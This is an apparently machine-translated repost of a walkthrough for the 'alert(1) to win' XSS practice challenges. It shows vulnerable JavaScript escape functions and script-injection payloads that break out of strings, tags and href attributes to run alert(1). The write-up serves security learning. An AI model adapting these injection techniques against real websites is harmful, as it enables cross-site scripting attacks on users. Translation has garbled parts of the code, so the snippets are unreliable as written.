"Alert (1) to win" not complete introduction

Source: Internet
Author: User

alert (1) to win

A platform for practicing XSS, address: Https://alf.nu/alert1

Warmup(14)

Gives a piece of JavaScript code

function Escape (s) {  return ' <script>console.log ("' +s+ '");</script> ';}

There is no calibration for S,payload is

") alert (1);("

Or

"); alert (1);//

Adobe (a)

The code is as follows

function Escape (s) {  = s.replace (/"/g, ' \ \" ')  ; return ' <script>console.log ("' + S + '");</script> ';}

Globally replaced by \, which means that double quotes are escaped without escaping the escape character \

Payload as follows

\ "); alert (1)//

JSON (+)
function Escape (s) {  = json.stringify (s);   return ' <script>console.log (' + S + ');</script> ';}

S is processed using the json.stringify () function , which escapes the double quote "and escape character \ and does not handle the < > '/character.

Payload as follows

) </script><script>alert (1)//

Close parenthesis then close the script tag, create a new script tag to execute alert (1),//Comment out the extra string

JavaScript (All)
function Escape (s) {  var url = ' Javascript:console.log (' + json.stringify (s) + ') ';  Console.log (URL);   var a = document.createelement (' a ');   = URL;  Document.body.appendChild (a);  A.click ();}

That's a bit of a point, first payload .

%22); alert (1)//

The URL is executed in the href attribute of the A tag, and the href attribute is used to specify the URL of the hyperlink target, which is the URL encoding that supports URL encoding,%22 is double quote "

The A tag constructed is

<a href=javascript:console.log ("%22"), alert (1)//") ></a>
A.click () triggered alert (1) when executing
Markdown (+)
function Escape (s) {  var text = S.replace (/</g, ' &lt; '). Replace (/"/g, ' &quot; ') );   // URLs  Text = Text.replace (/(http:\/\/\s+)/g, ' <a href= ' >$1</a> ');   // [[img123| Description]]  text = Text.replace (/\[\[(\w+) \| (. +?) \]\]/g, ' );   return text;}

The first line of code escapes all < "characters

The second line is to rewrite the string like http://S+ to <a href= "http://S+" >http://S+</a> (s+ to match a non-whitespace character one or more times)

The third line with the form [[A|b]] is rewritten as

Release the payload first.

[[A|http://onerror=alert (1)//]]

The result of the function construction is

<alt= "<a href="http://onerrorsrc= "A.gif"  >">http://onerror=alert (1)//]</a>

Use//To replace the space, the beginning of the href "closed alt", in//commented out the last "

"Alert (1) to win" not complete introduction

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.